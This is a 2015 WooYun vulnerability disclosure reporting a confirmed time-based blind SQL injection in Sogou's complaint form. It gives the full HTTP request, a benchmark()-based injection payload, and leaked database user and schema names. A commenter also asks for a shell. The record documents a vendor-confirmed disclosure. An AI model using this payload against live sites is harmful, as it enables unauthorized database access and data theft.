当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102161

漏洞标题:搜狗主站一处mysql注入漏洞

相关厂商:搜狗

漏洞作者: Forever80s

提交时间:2015-03-18 17:39

修复时间:2015-05-03 11:52

公开时间:2015-05-03 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 细节已通知厂商并且等待厂商处理中
2015-03-19: 厂商已经确认,细节仅向厂商公开
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-05-03: 细节向公众公开

简要描述:

详细说明:

举报处,mutipart数据

POST /complain/complaintAction.php HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
Content-Type: multipart/form-data; boundary=c33761e165ae40eb8401f12ce5e4fd85
Host: www.sogou.com
ld=nyllllllll2qj2iklllllVUwTXDlllllH3MXpZllllklllll9Aoll5@@@@@@@@@@; com_sohu_websearch_ITEM_PER_PAGE=100; com_sohu_websearch_op_Blank=Y; SUIR=5CE0E7FC474D56CEDB6483DB48E2350D
Content-Length: 988
Accept-Encoding: gzip, deflate
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="act"
add
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="type"
1
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="ptype"
notmatch
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="url"
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="email"
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="qq"
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="phone"
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="upfile%5b%5d"
--c33761e165ae40eb8401f12ce5e4fd85
Content-Disposition: form-data; name="comment"
������ϸ˵��������������Ա����Ա��ʱ׼ȷ�������ķ�����
--c33761e165ae40eb8401f12ce5e4fd85--
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 18 Mar 2015 02:36:12 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
X-Powered-By: PHP/5.1.6
Content-Length: 108
User 'ws_feedback' has exceeded the 'max_user_connections' resource (current value: 5)服务器出错,请稍候重试


改成url encoded form 数据
直接post地址http://www.sogou.com/complain/complaintAction.php

act=add&type=1 and benchmark(3000000,sha1(1))--&ptype=notmatch&url=&email=&qq=&phone=upfile%5b%5d=&comment=xx


注意延时合理度
POC:

user()='ws_feedback@10.11.9.22'
database()='ws_front_feedback'


漏洞证明:

修复方案:

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-19 11:50

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-18 17:48 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)

    说好的shell呢